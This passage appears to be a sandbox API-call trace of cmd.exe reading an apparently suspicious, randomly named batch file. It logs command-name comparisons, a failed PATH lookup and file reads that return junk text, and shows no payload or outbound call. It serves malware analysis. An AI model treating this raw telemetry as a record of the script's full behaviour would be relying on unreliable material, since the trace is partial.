(_String1="Windows", _String2="ERASE") returned 18 [0162.413] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.413] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.413] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.413] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.413] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.413] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.413] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.413] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.413] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.413] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.413] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.413] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.413] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.413] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.413] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.413] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.413] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.413] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.413] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.413] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.414] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.414] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.414] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.414] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.414] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.414] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.414] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.414] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.414] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.414] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.414] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.414] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.414] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.414] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.414] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.414] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.414] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.414] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.414] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.414] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.414] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.414] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.414] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.414] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.414] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.414] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.414] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.414] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.414] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.414] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.414] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.414] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.415] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.415] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.415] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.415] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.415] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.415] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.415] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.415] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.415] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.415] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.415] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.415] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.415] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.415] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.415] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.415] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.415] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.415] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.415] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.415] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.415] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.415] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.415] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.415] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.415] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.415] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.415] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.415] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.415] ??_V@YAXPEAX@Z () returned 0x1 [0162.416] GetProcessHeap () returned 0x20b0f920000 [0162.416] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.416] GetProcessHeap () returned 0x20b0f920000 [0162.416] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f957310 [0162.416] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.416] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.416] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.417] GetProcessHeap () returned 0x20b0f920000 [0162.417] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.418] SetErrorMode (uMode=0x0) returned 0x0 [0162.418] SetErrorMode (uMode=0x1) returned 0x0 [0162.418] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.418] SetErrorMode (uMode=0x0) returned 0x1 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.418] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.418] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.418] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.418] GetProcessHeap () returned 0x20b0f920000 [0162.418] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.418] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0162.419] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0162.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.419] GetLastError () returned 0x2 [0162.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.419] GetLastError () returned 0x2 [0162.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.419] GetLastError () returned 0x2 [0162.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.419] GetLastError () returned 0x2 [0162.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.420] GetLastError () returned 0x2 [0162.421] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.421] GetLastError () returned 0x2 [0162.421] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.421] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.421] GetLastError () returned 0x2 [0162.421] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.421] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0162.421] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0162.421] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.421] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.422] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.422] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.422] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.422] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.422] GetLastError () returned 0x2 [0162.422] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.423] GetLastError () returned 0x2 [0162.423] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.423] GetLastError () returned 0x2 [0162.424] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.424] GetLastError () returned 0x2 [0162.424] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.424] GetLastError () returned 0x2 [0162.424] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.424] GetLastError () returned 0x2 [0162.424] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.424] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.424] GetLastError () returned 0x2 [0162.424] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.424] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.425] GetLastError () returned 0x2 [0162.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.425] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.425] GetLastError () returned 0x2 [0162.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.425] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.425] GetLastError () returned 0x2 [0162.425] ??_V@YAXPEAX@Z () returned 0x1 [0162.426] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.426] GetFileType (hFile=0x54) returned 0x2 [0162.426] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.426] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.426] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.426] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.427] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.427] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.427] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.432] ??_V@YAXPEAX@Z () returned 0x1 [0162.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.432] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.433] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.433] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.433] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.433] SetConsoleInputExeNameW () returned 0x1 [0162.433] GetConsoleOutputCP () returned 0x1b5 [0162.433] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.434] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.435] ??_V@YAXPEAX@Z () returned 0x1 [0162.436] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.436] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.436] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.436] SetFilePointer (in: hFile=0x94, lDistanceToMove=1144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0162.436] GetProcessHeap () returned 0x20b0f920000 [0162.436] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.436] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957310) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.437] GetProcessHeap () returned 0x20b0f920000 [0162.437] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.439] GetProcessHeap () returned 0x20b0f920000 [0162.439] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.439] GetProcessHeap () returned 0x20b0f920000 [0162.439] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.439] GetProcessHeap () returned 0x20b0f920000 [0162.439] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.439] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.439] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0162.439] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x133d, lpOverlapped=0x0) returned 1 [0162.439] SetFilePointer (in: hFile=0x94, lDistanceToMove=1153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x481 [0162.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.440] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.440] GetFileType (hFile=0x94) returned 0x1 [0162.440] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.440] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x481 [0162.440] GetProcessHeap () returned 0x20b0f920000 [0162.440] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.440] GetProcessHeap () returned 0x20b0f920000 [0162.440] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.440] _tell (_FileHandle=3) returned 1153 [0162.440] _close (_FileHandle=3) returned 0 [0162.441] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.441] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.441] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.441] SetFilePointer (in: hFile=0x94, lDistanceToMove=1153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x481 [0162.441] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.441] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x481 [0162.441] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1334, lpOverlapped=0x0) returned 1 [0162.441] SetFilePointer (in: hFile=0x94, lDistanceToMove=1209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b9 [0162.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 56 